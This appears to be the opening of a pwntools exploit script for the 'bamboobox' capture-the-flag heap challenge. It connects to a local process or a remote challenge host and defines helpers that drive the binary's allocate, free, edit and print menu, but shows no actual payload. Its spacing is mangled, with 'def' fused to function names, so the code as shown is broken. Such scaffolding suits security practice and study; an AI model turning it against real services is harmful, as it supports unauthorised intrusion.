#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux')
local = 1 elf = ELF('./bamboobox') if local: p = process('./bamboobox') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
defbk(addr): gdb.attach(p,"b *"+str(hex(addr)))
defmalloc(size,content): ru("Your choice:") sl('2') ru("Please enter the length of item name:") sd(str(size)) ru("Please enter the name of item:") sd(content) deffree(index): ru("Your choice:") sl('4') ru("Please enter the index of item:") sl(str(index)) defexit(): ru("Your choice:") sl('5') defputs(): ru("Your choice:") sl('1') defchange(index,size,content): ru("Your choice:") sl('3') ru("Please enter the index of item:") sd(str(index)) ru("Please enter the length of item name:") sd(str(size)) ru("Please enter the new name of the item:") sd(content)